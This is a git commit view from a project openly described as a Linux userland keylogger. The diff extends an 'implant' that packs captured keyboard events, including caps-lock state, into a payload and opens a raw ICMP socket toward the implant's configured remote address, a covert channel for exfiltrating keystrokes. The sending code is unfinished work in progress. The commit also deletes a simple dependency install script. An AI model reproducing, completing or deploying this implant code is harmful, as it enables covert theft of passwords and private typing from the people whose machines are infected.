mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 15a57c86dfe72bbb0f4505e8fc50486a4a952b5b
parent 5377d38ac2bdfc0d8794f6a699e58b51bf658722
Author: djnnvx <[email protected]>
Date: Mon, 22 Apr 2024 17:03:57 +0200

wip(implant): sending icmp packet

Diffstat:
Mimplant/sources/net.c | 72+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
Dimplant/utils/install-deps.sh | 23-----------------------

2 files changed, 71 insertions(+), 24 deletions(-)

diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,6 +1,11 @@
 
 #include <linux/input.h>
 
+#include <string.h>
+#include <arpa/inet.h>
+#include <netinet/ip.h>
+#include <netinet/ip_icmp.h>
+#include <stdio.h>
 #include "implant.h"
 
 /* Layout of the DATA packet is following
@@ -9,7 +14,72 @@
 int send_key_icmp(implant_t *implant, struct input_event event) {
 
     uint8_t payload[sizeof(struct input_event) + 32] = {0};
-    
+
+    /* for the userland implant, we will always assume the locale is
+     * US, because I haven't yet found a way to hook evdev driver from here
+     * and recover translated keys. Alternative would be to use something like
+     * libxkbcommon but this means we cannot compile statically, which is something
+     * that i want.
+     *
+     * If you want to have translated keys, for now you must use the kernel
+     * module in the kernel/ directory. it will respect the same protocol
+     * and be able to retrieve the information that you want.
+     */
+    strncpy(payload, "us", 2);
+    payload[31] = implant->using_caps_lock;
+    memccpy(payload + 32, &event, 0, sizeof(struct input_event));
+
+    /* set up ICMP socket */
+    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
+    if (sockfd < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not load ICMP socket\n");
+        perror("socket");
+#endif
+
+        return ERROR;
+    }
+
+    int enabled = 1;
+    if (setsockopt(sockfd, IPPROTO_IP,
+        IP_HDRINCL,
+        (const char *)&enabled,
+        sizeof(enabled)) == -1) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not set ICMP socket options\n");
+        perror("setsockopt");
+#endif
+
+        return ERROR;
+    }
+
+    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
+                  &enabled,
+                  sizeof(int)
+                  ) < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] could not set ICMP socket options\n");
+        perror("setsockopt");
+#endif
+
+        return ERROR;
+    }
+
+    /* set packet metadata */
+
+    /* TODO(djnn): retrieve IP address */
+    char local_ip[32] = "127.0.0.1";
+    int packet_type = ICMP_ECHOREPLY;
+
+    struct iphdr *ip = NULL;
+    struct icmphdr *icmp = NULL;
+    struct in_addr src_addr = {0};
+    struct in_addr dest_addr = {0};
+
+    inet_pton(AF_INET, local_ip, &src_addr);
+    inet_pton(AF_INET, implant->ip, &dest_addr);
+
+
 
     return SUCCESSFUL;
 }
diff --git a/implant/utils/install-deps.sh b/implant/utils/install-deps.sh
@@ -1,23 +0,0 @@
-#!/bin/env bash
-
-#
-# install the dev dependencies to
-# compile this program
-#
-# assumes you are running a debian-based distro
-# if this is not what you use, you are welcome to
-# change the script for your needs :)~
-#
-
-
-set -euo pipefail
-
-
-# install using APT
-install_apt () {
-    sudo apt install -y \
-        libxkbcommon-dev
-}
-
-
-install_apt